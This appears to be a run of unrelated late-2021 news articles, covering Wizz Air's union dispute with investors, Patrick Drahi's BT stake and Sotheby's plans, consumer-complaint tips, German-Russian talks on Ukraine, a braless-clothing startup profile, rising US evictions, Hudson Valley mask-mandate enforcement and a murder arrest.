however we have re-hired many of those and are back up to over 5,000 colleagues now. 'We are also the only airline that has restored the salaries of all of our Cabin Crew and Pilots to pre-pandemic levels. Were proud of how the company has acted throughout this crisis and managed to protect peoples livelihoods this was only made possible because of the support of our people. Wizz Air remains fully committed to supporting its employees and to continue creating new opportunities, even during these challenging times. 'Wizz Air takes the engagement with its employees very seriously and we are confident that our structures and processes that have been in place to support open and transparent engagement are working extremely well, including our People Council which provides a forum for employees to discuss important issues, frequent employee engagement surveys and a regular Floor Talks programme which allows for a regular two-way dialogue with our CEO. 'Additionally, we recently formed a Sustainability and Culture committee for the Board, Chaired by Charlotte Pedersen, all with a view to dedicating even more focus on environment and people issues. 'Wizz Air continues to foster a strong community where we all support the same culture and values. We are confident that this will bring the company many new successes and this is what makes Wizz Air a leader in the airline industry.' The investors' letter also included interview quotes from the airline's boss, Jozsef Varadi, in which he reportedly said the company was 'keeping out unions everywhere' as they were 'killing the business.' In April 2021, Wizz Air rejected calls from unions in Italy to agree a labour contract with them and told the country's labour ministry it planned to operate without engaging with unions. Jens Munch Holst, chief executive of AkademikerPension, said: 'Respect for workers' rights is ultimately about caring about the safety of passengers. 'There is a growing body of evidence of workers being blocked to join unions or sacked when they do so. This is completely unacceptable.' Latest details: In April 2021, Wizz Air rejected calls from unions in Italy to agree a labour contract with them While acknowledging that the company sought to manage labour relations through an internal body known as the Wizz People Council, the investors said they were concerned about its effectiveness in communicating staff concerns to management. Specifically, the investors pointed to a recent whistleblower report flagging concerns around pilot fatigue and flight safety. 'Recognising workers' freedom to form and join unions is not only a legal and moral responsibility of the employer, but also an important risk mitigation strategy,' the letter said. 'To remedy our concerns, we therefore encourage Wizz Air to publicly and formally recognise employees' rights to form and join unions; and commit to non-discrimination on the basis of union membership.' Mr Holst of AkademikerPension, said if the board refused to act, his fund would ditch its stake in the airline. He added: 'If the company remains unresponsive, and fails to formally recognise unions, our only option is to divest our holdings and place the company on our exclusion list. 'Our message is clear to the company. We will wait until 20 December and if our meeting requests are not met, expect exclusion.' Patrick Drahi, the French-Moroccan billionaire currently making waves at BT, is mulling a listing of the Sothebys auction house. Drahi, who bought the firm founded in 1744 for 2.8billion in 2019, has hired bankers to weigh up the potential for a float on the US stock market next year. The move has sent tongues wagging in the City, with many predicting that he could use proceeds from the float to help his creeping takeover of telecoms giant BT. Raising funds? Patrick Drahi, who bought Sotheby's auction house for 2.8bn in 2019, has hired bankers to weigh up the potential for a float on the US stock market as soon as next year Sothebys was listed on the stock exchange for three decades before Drahis swoop two years ago, with its possible return to the market coming after a strong year. The auction house raised 1billion last month through its prestigious in-person and online auctions known as Marquee Sales. Sothebys has also been steadily shifting its business to focus on less traditional auction items in a bid to boost its revenues. One notable example is the sale of non-fungible tokens (NFTs), digital works of art that record ownership on a blockchain, the same technology that supports cryptocurrencies such as bitcoin. Reports of Drahis manoeuvres at Sothebys came after the billionaire tightened his grip on UK telecoms giant BT on Tuesday by increasing his stake in the firm to 18 per cent from 12.1 per cent. Drahi owns the BT shares through his company Altice. While the 58-year old Frenchman has said he will not make a takeover offer for BT, the move sparked speculation that he is attempting to gain creeping control of the group by slowly increasing his stake to just below the 30 per cent mark, above which City rules mandate a takeover offer must be made. While he keeps a low profile publicly, in the business world Drahi is known as a corporate swashbuckler and deal maker, having spearheaded debt-fuelled acquisitions in the US, Israel, France and Portugal. He has also garnered a reputation for ruthlessness, dubbed the cost killer by French trade unions for cutting workforces by around a third and slashing salaries and spending. Sotheby's was listed on the stock exchange for three decades before Drahi's swoop three years ago, with its possible return to the market coming after a strong year Born in Morocco to maths teacher parents, he moved to France as a teenager and began his career as a door-to-door salesman for cable TV packages. He then started turning around failing telecom firms, setting up his own business and lobbying mayors of French towns to dig up streets and lay cables. After selling the company to his idol, US cable billionaire John C Malone, Drahi created his current company, Altice, in 2001, and embarked on an aggressive expansion that has made it the second-largest telecoms company in France. The father-of-fours impulsiveness also extends into his personal life, with Drahi having reportedly proposed to his wife Lina within an hour of meeting her at a university party in the late 1980s. A holder of French, Israeli and Portuguese citizenship, he lives in Switzerland and has houses in the countrys capital, Geneva, and the ski resort town of Zermatt. He is also an art lover (which may explain his purchase of Sothebys), owning works by famed painters such as Pablo Picasso and Henri Matisse. Drahi planted his flag firmly in the UK in June by unveiling his initial stake in BT, taking the London market and the Government by surprise. A City source said Drahis muscling in on the telecoms giant had raised eyebrows in the Square Mile, particularly around how he had managed to amass such a large stake in the group relatively undetected. He announced out of nowhere that he owned 12 per cent of the company, but under current disclosure rules and shares being traded at the time, it wasnt obvious. Many of us were left scratching our heads asking How has he done this? How has he amassed a 12 per cent stake without anyone noticing? They went on to say that Drahi may be using financial instruments to gain control over BT shares without purchasing them, in a way that would require a report to the market. A possible method for this is the use of forward contracts, an agreement between two parties to buy or sell shares at a specified time in the future. Such arrangements can be used to borrow shares and use their voting power at company meetings. As borrowing the shares is not classed as ownership, such deals do not usually fall foul of stock market rules that require major investors to disclose their stakes in companies. Drahis shadowy tactics were also expected to continue in his pursuit of BT. Given hes done this twice and nobody has seen it coming, it seems the most likely method he will use going forward. But he is playing within the rules, the source added. A spokesman for Altice said the company owns the [BT] shares outright. The billionaires activities at BT are also drawing the attention of the Government, which fired a warning shot across Drahis bow shortly after his increased stake was revealed. The Government is committed to levelling up the country through digital infrastructure, and will not hesitate to act if required to protect our critical national telecoms infrastructure, a spokesman commented on Tuesday. Meanwhile, Darren Jones, a Labour MP and chairman of the Commons business committee, said politicians would want to ensure that a business as important as BT is owned in a transparent and stable way, given the underlying importance of digital infrastructure to the British economy. It is also thought that the new National Security and Investment Act, which comes into force in January, will be used to block any attempted takeover should Drahi make a swoop. After Mail columnist Sarah Vine wrote of her frustration at the failure of British Gas to fix her washing machine, reader Gareth Griffith came forward with helpful tips. The accomplished complainer, a former Currys branch manager and financial adviser who worked for banks and insurance companies, has won thousands of pounds in compensation because he refuses to be fobbed off. Sarah wrote in last Wednesday's column of how she could not get an engineer to repair her machine despite paying a 'small fortune' for a British Gas HomeCare policy. Now retired, Gareth, who lives near Loughborough, Leicestershire, tells Money Mail how he avoids needlessly paying out and always sticks up for his consumer rights. Former Currys branch manager Gareth Griffith (pictured) has won thousands of pounds in compensation Don't buy a warranty Never take out a service contract such as HomeCare or an extended warranty. These people have no real incentive to come and do any work they've already had your money. You can phone a local engineer and ask him or her to fix it. They will be around straight away because it's money in their pocket and they're not going to get paid until it's fixed. Google any firm you use to make sure they've got genuine good reviews. Most appliances are now far more reliable than they were a few years ago, so you shouldn't shell out every year just in case they break down. The chances are you won't need an extended warranty. Staff used to be put under huge pressure to sell these. You should expect a new appliance to last a reasonable length of time. If it breaks down in four years that's unacceptable. Sarah should cancel her service contract and demand her money back as HomeCare is in breach of contract by not repairing her machine within a reasonable timespan. She should also tell them that under the Sale of Goods Act 1979 and the Consumer Rights Act 2015 you have a right to expect goods to be of decent quality and to remain in good working order. A washer should last ten to 12 years. If you've only had four years' use, you should demand two-thirds off the price of a similar replacement. Paper trail: If you've had to phone to complain, ask for the person's email address and follow up the call with an email confirming your discussions and what they've agreed to do Make sure you get it in writing If you aren't getting anywhere with a company, forget calling up for help send them a strongly-worded email instead. You'll find their email address somewhere on their website. It's brilliant because it gives you time to think that you do not get on a call with them, it is less time-consuming than hanging on the phone and you don't even have to buy a stamp, put pen to paper or trek to the post box. Complaining has never been easier. Always email complaints so that you have an audit trail if you take up your threat to sue them through the small claims court. If you've had to phone to complain, ask for the person's email address and follow up the call with an email confirming your discussions and what they've agreed to do for you and the timescale they've agreed to do it. Then you can send them a further stroppy email if they let you down. Tell them you aren't going to be mucked about. Ask for their line manager's email address too. You get further up the hierarchy if you copy in your MP, together with a newspaper journalist and your local Trading Standards office. Try to find the company chief executive's email address online too. Gareth's glorious victories Tesco toothache When Gareth broke a tooth on an olive stone in a bun he got from Tesco, he says the supermarket only offered him a small refund for the buns he bought. But he insisted Tesco paid for his dental treatment, the cost of driving to the dentist, parking and loss of earnings. In total, he received around 400. Freezer failure Garteth's 631 fridge-freezer stopped working after four years, so he complained to retailer AO. He was told his guarantee had expired. Gareth asked for redress for its failure to last. The firm offered 100 as a goodwill gesture and 25 to cover an engineer's report. He demanded more and AO paid him 325. Unfair fees When sorting out his late father's estate, Gareth found his dad had been paying Barclays monthly charges for two years on an investment account he had never used. The bank at first refused to offer a refund, but backtracked when Gareth threatened to complain to the Ombudsman that it had not treated a vulnerable customer fairly. Barclays eventually refunded the fees of around 450. It also provided 200 compensation and a hamper. Pension problem Gareth's pension payments stopped for no obvious reason. But when he called administrator Willis Towers Watson, he was told payments would resume and he would get his money in ten days or so. He sent an email charging a penalty for each missed payment totalling 220. The firm offered 150 as a goodwill gesture, but Gareth was insistent and got the full 220. Charge for your time If I have been mucked about by a firm I ask for 50 compensation to cover the hassle and upset they've caused me and most of them pay it. If I have to write to them again I ask for a further 50. If a bank or building society can satisfy a complaint in one day it's not counted as a complaint in their statistics. It's in their interests to say, 'Here's 50 go away'. If the complaint is regarding financial service and I don't get a satisfactory result, I tell them I am going to take them to the Financial Ombudsman's complaints resolution service. The Ombudsman charges companies 750 for every complaint it has to investigate so often they will pay out to avoid the hassle. It also costs you nothing. Some of the larger companies pay an annual one-off fee regardless of how many complaints they get. However, it still looks bad if they're near the top of the table for complaints. Pick your battles wisely I am a reasonable person. I can accept that people will make mistakes. Sometimes things happen that are unavoidable you have to take the rough with the smooth. Other times I get mucked about. I tell them I have the time, I will take it to the Nth degree. My wife says I have got too much time on my hands, but I quite enjoy giving these companies some stick. My belief is that these firms will try to avoid being honest and treating their customers fairly if they can possibly get away with it. Nevertheless they have a legal obligation to do so. There is so much information online to help you don't be afraid to stand your ground. And never accept the first offer. If you want more, tell them you want more. I also recommend rewarding good service. I've never had any trouble getting an appointment at my doctor's surgery after I bought all the staff cream cakes. moneymail@dailymail.co.uk New German Foreign Minister Annalena Baerbock said on Tuesday Russia would face massive consequences if it invades Ukraine, after a phone call with her Russian counterpart in which she said Kyivs territory integrity must not be violated. Baerbock called for open and honest dialogue with Russia over the Ukraine crisis during her exchange with Russian Foreign Minister Sergei Lavrov, the German Foreign Ministry said. The phone call was the first publicly announced contact between Berlin and Moscow since Chancellor Olaf Scholzs coalition government took office last week. We want honest and open dialogue, Baerbocks ministry wrote on Twitter after the call. The territorial integrity of Ukraine must not be violated. In a subsequent joint press conference in Stockholm where she met her Swedish and Norwegian counterparts, Baerbock said: Any form of intervention in the sovereignty of Ukraine would have massive consequences for the Russian regime of an economic and diplomatic nature. The German Foreign Ministry also called for progress to be made in the so-called Normandy talks on resolving the Ukraine crisis and said visa-free travel for young Russians had also come up in the call, aswell as cooperation on hydrogen. Statements by each side did not mention the planned Nord Stream 2 pipeline, which would carry Russian natural gas to Germany and bypass Ukraine, but has not been certified due to regulatory hurdles. Poland and the United States have demanded a halt to the pipeline should Russia invade Ukraine. The new German government has not made a public commitment to block it. Ukraine accuses Russia of massing around 100,000 troops in preparation for a possible invasion, raising fears that a simmering conflict in Ukraines eastern Donbass region could erupt into open war between the neighbours. Russia denies planning any attack but accuses Ukraine and the United States of destabilising behaviour, and has sought security guarantees against NATOs eastward expansion. Lavrov repeated that demand in his exchange with Baerbock, the Russian Foreign Ministry said in a statement. In discussing current topics on the international agenda, the Russian side focused on the need to provide our country with security guarantees in the form of legal commitments not to expand NATO eastwards and not to move the blocs military infrastructure to Russias borders, the statement said. Karen Donfried, the United States assistant secretary of state, met top Ukrainian officials on Tuesday to offer support in the face of the Russian military build-up. SOURCE: REUTERS Bras and boobs many people worldwide who are reading this can be like I understand! when I complain about how uncomfortable bras can be at times. Either the bras are cute but are meant for women with smaller bust sizes, or are ugly and expensive if you have a bigger bust. Thats where Frankly Apparel comes into play: they are a braless clothing company the first of its kind and theyre here to change things for those of us with bigger cup sizes. Founders Heather Eaton and Jane Dong met at Stanfords MBA program and successfully launched their braless clothing company via a Kickstarter campaign during the worst time of societys existence. Heather is a former management consultant from Chicagos Deloitte office, where she worked on everything from innovation-focused non-profits to movie studios. Jane worked at Goldman Sachs in New York as an Investment Banker where she was recruited after attending Columbia as a recruited golfer. When she realized paper storage company mergers weren't her jam, she joined Uber and eventually ran UberEats US & Canada Driver Acquisition. Related: Is Sustainability the Future Of Modern Fashion Industry? Mid last year, Heather and Jane launched a Kickstarter campaign with an initial goal of raising $25,000. Their objective in choosing Kickstarter was to be able to fund the inventory for their very first collection, which meant reaching a certain minimum with their manufacturer. They surpassed this goal in under five hours, and doubled it, ultimately raising over $50,000. The light bulb moment that inspired Frankly was a very personal one for Heather: finding bras that actually fit had always been a struggle, even from the early stages of puberty. She expressed to me that as a young teenager, she was excited to go bra shopping and join the ranks of being a woman in the sense that shed get to wear an actual bra and not a training bra (since those are a thing), but nothing seemed to fit; and now as an adult, she still feels the same way. Women with bigger boobs have been excluded from the braless movement because we have so many more things to consider support and security is much more of a concern with larger cup sizes because too much movement can be painful. I know the struggle firsthand, and I think it can be especially frustrating for those who have big boobs, especially as compared to the rest of their body, she says. Related: This New High-Tech Wonder Bra May Help Detect Breast Cancer One of the differentiating points about Frankly is its innovative and proprietary split-size system. Frankly allows you to select a bust size that is different from your waist size for a dress or bodysuit, without having to worry about fit. We find that nearly half of our customers are taking advantage of the split-sizes, which just goes to show how many women are out there looking for clothes that are better suited to them, says Jane. Sustainability also plays a key role for the brand. Through their Studio pre-order program, Frankly aims to collaborate with their customer to produce more of what she wants, to avoid unsold inventory. The company utilizes the Higg Index to source sustainable, high-quality materials and fabrics, and the clothing is manufactured in Los Angeles by ethical companies. As of August 30th, Frankly had already shipped to 42 out of 50 states and gone viral on TikTok more than once topping over 5 million views with one of their cheeky videos. Their customer is already praising their unique size chart and the company as a whole has people very excited. While they currently only ship to the United States, theyre already seeing noticeable international demand in a short few months since launch. Heather and Jane view their customers as co-creators in the sense that they aim to integrate their feedback. As a direct result, Frankly will be expanding its size range to 4X with its next collection, debuting this fall. When I spoke with Heather and Jane about their journey, heres what they had to say for themselves: On fundraising via a Kickstarter campaign to launch the brand Jane: Frankly actually began as a class project that Heather and I worked on while getting our MBAs at Stanford. We were taking a class called Startup Garage, during which we had to conduct almost 100 user interviews. We were getting so much positive feedback and enthusiasm for our idea, but to truly validate that women wanted something more than the status quo, we needed to see them back that up with actions and their spending. We pooled our savings together (post-paying tuition) to launch a Kickstarter campaign to fund the inventory for our first collection. We reached our goal in under 5 hours, and we ended up more than doubling our initial goal of $25k over the course of our campaign. We spent almost no money on ads or marketing, which showed us that women have just been waiting for a way to ditch their bras. How their different backgrounds paved the way to a successful entrepreneurial venture Jane: On the surface, it might seem like Heather and I are pretty similar. Were both from industries like Investment Banking and Consulting, and we did meet in business school. However, when we dig deeper into what we actually spent our time doing, it becomes very apparent that we are different. Heather is a great design thinker, has graphic design skills, and has an eye for product that I personally (unfortunately) just dont have. Heather also is the one with more adjacent fashion experience, having done product strategy with a well-known shoe company. I love hanging out in spreadsheets; she will tolerate it. We sometimes come from really different points of view, but because we understand the logic of the other persons thinking, it helps us make better and more thorough decisions than if it was just one of us. Heather: I cant emphasize enough how helpful it is to have a co-founder who is good at (and enjoys!) all the parts of the business you do not. Our strengths are complementary: Jane handles operations and finance because her background is investment banking and running driver operations at Uber, while I run product and brand using my experiences in graphic design/marketing, consulting, and in product at Rothys. We implicitly trust the others decision-making for areas in their domain. It has worked out well for us so far and made the job more enjoyable. Investment banking and consulting are both such great first-time jobs. You learn how to work hard, be resourceful, make analytical decisions, and communicate effectively. As entrepreneurs, I really dont think you could ask for a better background. We are both so used to navigating ambiguity and just diving in and learning what we dont know. That has allowed us to make so much progress in an industry where we are basically outsiders. Related: The Company Turning Selfies Into Better-Fitting Bras How to select the right co-founder... Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Jane: You often end up spending more time with your co-founder than with your spouse or partner, so when youre co-founder dating, keep that in mind. Selecting a business partner requires you to 100% trust them - youre sharing everything with them, from your social security numbers to your corporate bank account. You really need to believe that even in tough situations, theyll do the right thing for the company. While having different strengths and interests definitely helps Frankly, the most important thing is that you can make hard decisions together and keep moving forward. Founder disagreements can really blow up a company, and were thoughtful about continuously giving feedback, talking about how we feel, and ensuring that were aligned on our values and the future of Frankly. On their innovative sizing metric and proprietary split-size system. Heather: We started Frankly with the intention of making the braless fashion trend more inclusive for a wider range of cup sizes. In the past, clothing has never been designed to fit people with disproportionately big boobs. In fact, fashion explicitly designs for a B-cup. This is especially crazy considering the average woman in the US wears a DD! When we sat down and started talking about how we could give more people the chance to go braless, we came up with split-sizing. With our split sizes, our customers can choose their size based on both their bust size and their waist/hips size separately. We hear from customers all the time that this is the first time they have ever seen all their measurements in the same size on a size chart. That is so gratifying to me to finally give customers an option that I wanted myself for so long. Our goal is to continue expanding our sizing to fit even more bodies and chest sizes. On their mission and why the Frankly movement is about so much more than going bra-less Heather: Back when we ran our Kickstarter, we had this tote with art from NYC-artist Julie Cleveland that said bras are a social construct. Its so true! We wear bras to make our bodies more presentable to society. Often, that is intrinsically tied to making our bodies more presentable for men, at the expense of our own comfort and needs. Women nearly universally claim to hate wearing bras, but if you ask a woman to go out in public without one, she will often tell you she could never. That just doesnt sit right with us. But were also realists. Just because you know its unreasonable to constrict a totally natural body part that over 50% of the human population has, doesnt mean you necessarily want to be the one person leading the charge to free the nips at work. We want to be a baby step to a more braless future. We help our customers reclaim their comfort, without adding to the anxiety that sometimes comes with going braless in public. Related: How a Kentucky-Born Musician Used the Pandemic to Launch a Fashion Brand from Bali Its also just about challenging the status quo in fashion. Why havent bras really changed in the last 50 years? Why dont we design clothing for real womens bodies, instead of expecting women to change their bodies to fit their clothes? Our mission is to empower women to ask for more, starting with what they wear. Weve put up with an industry that doesnt design for the average person for far too long. If we can raise our expectations with something as basic and universal as clothing, imagine the other ways in which we can demand change. Frankly is named after that line from Gone With The Wind: Frankly, my dear, I dont give a damn, and thats us. We dont give a damn about how things have been done before or what society thinks. Fashion hasnt worked for women for a long time. Its still not working, so were here to shake things up. Copyright 2021 Entrepreneur.com Inc., All rights reserved BOSTON (AP) Soon after losing his trucking job amid the pandemic, Freddie Davis got another blow: His landlord in Miami was almost doubling the rent on his Miami apartment. Davis girded for what he feared would come next. In September he was evicted just over a month after a federal eviction moratorium ended. He's now languishing in a hotel, aided by a nonprofit that helps homeless people. The 51-year-old desperately wants to find a new apartment. But it's proving impossible on his $1,000-a-month disability check. We live in America, and the thing is, people like me, we got to go to the street if we dont have no other place to go because we cant afford rent, said Davis, who lost a leg to diabetes, suffers congestive heart failure and is recovering from multiple wounds on his other leg and foot. I really cant do nothing. The federal ban, along with a mix of state and federal moratoriums, is credited with keeping Davis and millions of others in their homes during the pandemic and preventing the spread of the coronavirus. There was a brief lull in evictions filings after the ban ended. But housing advocates say they're on the rise in many parts of the country - though numbers remain below pre-pandemic levels due to the infusion of federal rental assistance and other pandemic-related assistance like expanded child tax credit payments that are also set to end. Part of the increase is due to courts catching up on the backlog of eviction cases. But advocates say the upsurge also shows the limits of federal emergency rental assistance in places where distribution remains slow and tenant protections are weak. Rising housing prices in many markets also are playing a role. According to the latest data from the Eviction Lab at Princeton University, eviction filings have been rising in most of the 31 cities and six states where it collects data. They increased 10.4% from the first half of August to the first half of September. In the first half of October, numbers were 38% above August levels and 25% higher than in September. Filings fell around 7% from the first half of October to November and now remain about 48% below pre-pandemic levels. Among places where eviction filings are returning to normal are Connecticut as well as Houston, Indianapolis, and Cincinnati and Columbus, Ohio, according to the Eviction Lab. Florida, too, has seen a significant rise, with filings in Tampa and Gainesville returning to near pre-pandemic levels. "There was a batch of initial commentary coming out when the moratorium ended and the tone ... was, well, there wasnt a tsunami so we dont have an eviction crisis on our hands, said Ben Martin, senior researcher at Texas Housers, a nonprofit focused on housing issues. That initial narrative was somewhat misleading. What we are seeing is a reflection of reality, which is that evictions take time to work their way into and through the court system. Among the concerns is that some landlords who got federal assistance are still evicting tenants. A survey of nearly 120 attorneys nationwide from the National Housing Law Project found 86% had seen cases like this. They also saw increasing instances of landlords lying in court to evict tenants and illegally locking out tenants. In many states, landlord tenant law is antiquated and designed to provide results for landlords," said Shamus Roller, executive director of the National Housing Law Project. Instead of adjudicating the facts, courts function as conveyor belts, moving tenants toward eviction. Among those who contend they were illegally evicted is Faye Moore. The 72-year-old returned home from work in October to find her life spread out on the sidewalk. Behind several thousand dollars rent on her two-bedroom townhouse in an Atlanta suburb, Moore figured she would get the chance to present her case to a judge, including that management refused to take her rent money for months and that she was given no notice before she was evicted. Im devastated. It was a house full of furniture. Everything, said Moore, a retired mental health therapist who is now staying in a hotel with her 61-year-old partner, Garry Betared. It was like a storm came in and devastated everything. I cant find my important papers or anything. Cicely Murray, a HUD housing counselor with the Neighborhood Assistance Corporation of America who is working with Moore, was most upset that the couple was evicted without a court hearing and forced to fend for themselves. Im angry that anyone would put an elderly couple out without trying to figure out what resources are there, Murray said. We are still in a pandemic. ... You are putting people in precarious situations who are some of the most fragile. As Christmas approaches, there are plenty of signs that eviction cases will keep rising. According to the U.S. Census Bureaus Household Pulse Survey, those saying they weren't confident of paying next months rent increased from about 5 million at the end of September to 6.3 million in the latest data. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Landlords, especially smaller ones who own a handful of apartments, have also struggled. They believed the moratorium was illegal and saddled them with months of back rent they may never get back. Others were forced to lay off maintenance staff or sell units as they awaited federal rental assistance that was slow to be distributed. Some localities have lagged behind in getting out their portion of the $46.5 billion in federal Emergency Rental Assistance. According to a November report from the National Low Income Housing Coalition, 28% of grantees 32 states and 80 localities spent less than 30% of their first allocation of money and risk losing those funds. Among them is Nebraska, which spent only 6% of its funding through September and just 7% through October. Some landlords are refusing to take part in the program, said Caitlin Cedfeldt, a staff attorney at Legal Aid of Nebraska, while others have grown tired of waiting and are moving to evict. Tenants, some of whom got initial help but still face economic hardship, are being told they can't yet reapply for additional help. Missouri only spent 18% of its funding through September but has since improved. We have so much more work to do, U.S. Rep. Cori Bush, a St. Louis Democrat, said, citing data showing that evictions during the pandemic have taken lives. There are some states and local governments that feel, We dont want this money. We dont want this federal aid," she said. "And, we have some landlords who say that they dont want the money as well. So that makes it harder for the money to be dispersed. Gene Sperling, who is charged with overseeing implementation of President Joe Bidens $1.9 trillion coronavirus rescue package, said some increase in evictions was inevitable after the ban ended. "But fortunately because the Emergency Rental Assistance program is now paying full back-rent to about 500,000 renters each month, the eviction tsunami that experts feared has not occurred, he said. On the flip side are states and cities running out of rental assistance. The Treasury Department expects that upwards of $30 billion, or about two-thirds of the money, will have been spent or allocated by the end of the year. As the law dictates, Treasury is expected to begin reallocating funds from places not spending it to those in need. Texas has stopped accepting new applicants because it has allocated all its funds, though it continues to process applications received before the deadline. Oregon has stopped taking new applicants for now. The state of New York has spent or committed nearly all of its money, as has Philadelphia. California will soon exhaust its funds, while Atlanta has closed its program to new applicants. Austin, Texas, also stopped taking applications. Its particularly concerning that a number of these programs are now shutting down because all funds have been expended or obligated, said Peter Hepburn, research fellow at the Eviction Lab. If that funding gets removed, landlords may have less incentive to work with tenants. ___ Associated Press writers Adriana Gomez in Miami and Jim Salter in OFallon, Missouri, contributed to this report. County officials across the Hudson Valley have said they will not enforce a statewide indoor mask mandate that went into effect on Monday, three days after Dutchess County Executive Marc Molinaro and other regional leaders said they were told by Gov. Kathy Hochuls administration to avoid diverting resources to crack down on violations of the order. Dutchess, Putnam, Orange and Greene counties are among others across the state that are opting not to enforce the mandate, citing limited resources. Hochul reinforced her hope at a press conference Monday that people will follow the directive to wear masks indoors. The mask mandate comes at a time when rates of COVID-19 have been escalating in some regions, including here in the Hudson Valley. In many counties Dutchess, Putnam, Orange and Greene the rolling average for positive COVID cases is higher than the statewide average. The new mask policy was issued on Friday Dec. 10 by new state Health Commissioner Dr. Mary T. Bassett and is set to expire on Jan. 15 unless it is renewed. Putnam County Executive MaryEllen Odell called the mandate unrealistic in a press release. The business community has been through enough this pandemic, said Odell in a phone interview. This holiday season is a time for them to at least get back on their feet asking them to have to police themselves is putting another burden on them. Instead of enforcing a mask mandate, Putnam's Department of Health will focus on its education and vaccination programs. The department is arranging a private-public partnership to create a COVID testing site that will open at the Donald B. Smith campus in Carmel before Christmas and operate six days a week. The resources just arent there for the Department of Health to act like enforcement agents, said Odell. They arent trained to do that. These are medical professionals in the healthcare field, and this is not their area of expertise. In Putnam County, there are 280 active COVID cases and seven hospitalizations. Its seven-day rolling average for positive COVID cases is 6.1 percent, higher than the statewide average of 4.8 percent. Odell expressed her concern in how county governments were informed of the new mask mandate, saying she was taken by surprise on Friday. It happened in the same fashion that the previous administration rolled out mandates, said Odell. It happened through a press conference, with no notification to the county executives, which is really disappointing. It just makes everything that much more difficult. On a Nov. 21 call with Hudson Valley officials, Hochul; Kathryn Garcia, director of state operations; and other state officials joined county executives to inform them about what could be coming, Molinaro told the Times Union. The governor suggested that new mask policies could go into effect, he said, but no specifics were discussed. The call came just before the announcement of a new emergency order to limit non-essential surgeries at overwhelmed hospitals and the known emergence of the omicron variant. Mixed signals on enforcing the governors mandate Later, on a weekly regional leadership call with state and Hudson Valley officials last week, Molinaro also said that the governor suggested that counties should not divert resources to crack down on the new mask mandate. Hochul seemed to counter that suggestion on Monday at a news conference, where she reinforced her hope that people would follow the directive to wear masks indoors, and remove the need for state workers to enforce the new mask policy. Still, she told reporters Monday, We hope that counties will enforce it. Molinaro, a Republican who is running for Congress, first learned the details of the policy during his region's weekly call, which he said was about two hours after Hochuls announcement. If this is simply a measure of good will, then call it that, said Molinaro. Thats what the state has basically said to all of us. This is a hope that people will do the right thing. He said the county will continue to educate and inform residents to take the necessary mitigation steps to protect themselves, rather than escalate tension and conflict or further burden local businesses. Expecting people to do things they dont want to do, from people they dont trust, requires more than simply demanding they do it, said Molinaro. My view is I want residents to assess risks and make smart choices, which includes wearing a mask. I dont think its necessary for the state government to move in with a very broad mandate. Similar to other counties, Dutchess County also does not have the resources to enforce the mandate. Changing the rules every couple of weeks isnt productive, Molinaro said. If businesses are implementing mask mandates, residents are asked to either comply or to go to another business, said Molinaro. Do not take out your frustration or anger on the cashier or store owner. The seven-day rolling average of positive COVID cases is 5.4 percent in Dutchess County. Orange County Orange County Executive Steve Neuhaus announced his countys decision to not enforce the mandate in a Facebook video Monday morning, which gained nearly 700 comments from residents both in support and opposition. Downtime is the best time Make the most of your Hudson Valley weekend, every week with our newsletter. We dont have the manpower to enforce this, said Neuhaus in the video. You are not going to see Orange County Department of Health and Orange County government workers going to retail establishments or restaurants and enforcing this. Thats just the way it is. Neuhaus said there is a need for awareness, especially as the countys 7-day rolling average for positive COVID cases is nearly 2 points higher than the state average. I ask everybody to be understanding of each other, said Neuhaus. If you go to a building and they ask you to wear a mask, wear a mask. It is their prerogative. You have the choice if you go there or not. He encouraged people to continue to live their lives but to be cautious and understanding. Greene County In Greene County, where there have been 88 COVID-related deaths this year and the rolling 7-day positivity average, 5.8 percent, is one point higher than the states, the mask mandate will not be enforced either, which Greene County Administrator Shaun Groden said was due to not having the staffing to do so. Its too impractical, said Groden. Were a small county government. We dont have staff to be around and doing enforcement. What am I going to do? Put a deputy at Walmart 24/7? Groden said there the stores will have to self-police, which theyve already been doing. The county health department is encouraging people to get vaccinated and get the booster if eligible. Ulster County Meanwhile, in Ulster County, a state of emergency was declared on Nov. 28 due to rising cases. At the end of August, Ulster County Executive Pat Ryan signed an executive order requiring county employees and members of the public to wear masks within all county buildings. At the time, the health commissioner also strongly recommended all residents wear masks when indoors. There have been 309 deaths in the county from COVID to date, with 989 current active cases, though its 7-day rolling average for positive cases is just under the states average as of Dec. 12. Seven and a half years after April Parker of Monticello was reported missing, the New York State Police, with the assistance of the Sullivan County District Attorneys Office and the Pennsylvania State Police, arrested a Pennsylvania man in her death. Keymarro Guiden, 48, was arrested on Dec. 1 and charged with second-degree murder. Guiden was the father to one of Parkers children. He was always a person of interest, said Trooper Steven Nevel, Public Information Officer for New York State Police, adding that the investigators followed every lead until Guidens arrest. On May 26, 2014, Brianna Bukovinsky reported Parker, her best friend, missing to the Monticello Police Department. Parker was 31 at the time. After an extensive search, a body was found in the woods near Sleepy Hollow Apartments in Monticello on June 10, 2014. DNA testing eventually confrmed that the body, which was decapitated and had no hands or feet, was that of Parker. On Dec. 1, with the support of the Sullivan County District Attorneys Office, a grand jury issued an indictment of second-degree murder for Keymarro Guiden. Following a warrant for his arrest, Guiden was taken into custody by Pennsylvania State Police in East Stroudsburg, Pennsylvania, and then brought to Luzerne Correctional Facility. Guiden was extradited on Dec. 14 to Sullivan County and officially charged. If convicted, he could serve a maximum sentence of 25 years to life. Downtime is the best time Make the most of your Hudson Valley weekend, every week with our newsletter. Bukovinsky, who described her friend Parker as beautiful, smart, funny, and a great mom who kept to herself, said she didnt necessarily feel a sense of closure regarding Guidens arrest. I feel like its something you dream of but you feel the same when its all said and done. It doesnt change anything. But she appreciates that the police did not give up on Parkers case. Its not like they stopped working it could just be another cold case sitting on a desk, so sometimes you gotta be grateful for what you get. ALBANY The head of the city's police officers union is asking for changes to how the county sheriff's deputies operate in the city after a crash Monday evening sent two people to the hospital and a dog through a windshield. The issue is one that has quietly simmered for months after Sheriff Craig Apple sent patrols into the city to help deal with mounting gun violence, as well as the city police department's lack of officers. Mike Delano, president of the city police union, said he's been worried that a city police officer or resident will get hurt under the current arrangement. He questioned whether the deputies always needed to pursue suspects who fled stops and why city police weren't notified when those chases began. "We're operating on separate processes," he said. "There's no clear communication. ... We have to operate in the city in an emergency capacity as well." Delano emphasized he wasn't trying embarrass the deputies, and noted the county's emergency call center was handling many city emergency calls when the city's system was short-staffed. Rather, he wanted city and county officials to make the situation safer for the officers and residents, he said. He believes the city should return to the system used last summer in which deputies rode in patrol cars 